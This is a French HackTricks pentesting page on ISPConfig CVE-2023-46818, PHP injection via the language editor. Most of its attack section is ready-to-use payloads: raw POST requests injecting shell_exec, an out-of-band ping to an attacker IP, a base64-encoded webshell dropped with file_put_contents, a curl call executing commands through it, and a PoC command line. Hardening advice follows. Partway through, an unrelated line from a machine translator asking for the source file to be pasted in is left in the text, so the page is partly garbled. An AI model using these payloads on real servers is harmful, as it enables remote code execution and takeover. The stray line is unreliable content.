ISPConfig

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Aperçu

ISPConfig est un panneau de contrÎle d'hébergement open-source. Les anciennes versions 3.2.x incluaient une fonctionnalité d'édition des fichiers de langue qui, lorsqu'elle était activée pour le super administrateur, permettait l'injection de code PHP arbitraire via un enregistrement de traduction malformé. Cela peut conduire à une RCE dans le contexte du serveur web et, selon la façon dont PHP est exécuté, à une élévation de privilÚges.

Key default paths:

  • Web root often at /var/www/ispconfig when served with php -S or via Apache/nginx.
  • Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).

Tip: If the panel is bound locally (e.g. 127.0.0.1:8080), forward it:

bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Injection de code PHP via l'éditeur de langue (CVE-2023-46818)

  • AffectĂ© : ISPConfig jusqu'Ă  3.2.11 (corrigĂ© dans 3.2.11p1)
  • PrĂ©conditions :
  • Se connecter avec le compte superadmin intĂ©grĂ© admin (les autres rĂŽles ne sont pas affectĂ©s selon le fournisseur)
  • L'Ă©diteur de langue doit ĂȘtre activĂ© : admin_allow_langedit=yes dans /usr/local/ispconfig/security/security_settings.ini
  • Impact : Un admin authentifiĂ© peut injecter du PHP arbitraire qui est Ă©crit dans un fichier de langue et exĂ©cutĂ© par l'application, aboutissant Ă  une RCE dans le contexte web

RĂ©fĂ©rences : entrĂ©e NVD CVE-2023-46818 et lien du bulletin du fournisseur dans la section RĂ©fĂ©rences ci‑dessous.

Processus d'exploitation manuel

  1. Ouvrir/créer un fichier de langue pour obtenir les jetons CSRF

Envoyer un premier POST pour initialiser le formulaire et parser les champs CSRF depuis la rĂ©ponse HTML (csrf_id, csrf_key). Chemin de requĂȘte d'exemple: /admin/language_edit.php.

  1. Injecter du PHP via records[] et enregistrer

Soumettre un second POST incluant les champs CSRF et un enregistrement de traduction malveillant. Exemples minimaux d'exécution de commande :

http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band test (observer ICMP):

http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Écrire des fichiers et drop a webshell

Utilisez file_put_contents pour créer un fichier dans un chemin accessible via le web (par ex., admin/) :

http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Ensuite, écrivez un simple webshell en utilisant base64 pour éviter les caractÚres indésirables dans le POST body :

http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Je n’ai pas accĂšs aux fichiers du dĂ©pĂŽt. Veuillez coller ici le contenu du fichier src/network-services-pentesting/pentesting-web/ispconfig.md que vous voulez faire traduire en français — je le traduirai en respectant les rĂšgles que vous avez indiquĂ©es.

bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Si PHP est exécuté en tant que root (par ex., via php -S 127.0.0.1:8080 lancé par root), cela entraßne une RCE root immédiate. Sinon, vous obtenez une exécution de code en tant qu'utilisateur du serveur web.

Python PoC

Un exploit prĂȘt Ă  l'emploi automatise la gestion des tokens et la livraison des payloads :

Exemple d'exécution:

bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Durcissement

  • Mettre Ă  jour vers 3.2.11p1 ou une version ultĂ©rieure
  • DĂ©sactiver l'Ă©diteur de langue sauf si strictement nĂ©cessaire :
admin_allow_langedit=no
  • Évitez d'exĂ©cuter le panel en tant que root ; configurez PHP-FPM ou le web server pour rĂ©duire les privilĂšges
  • Exigez une authentification forte pour le compte intĂ©grĂ© admin

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks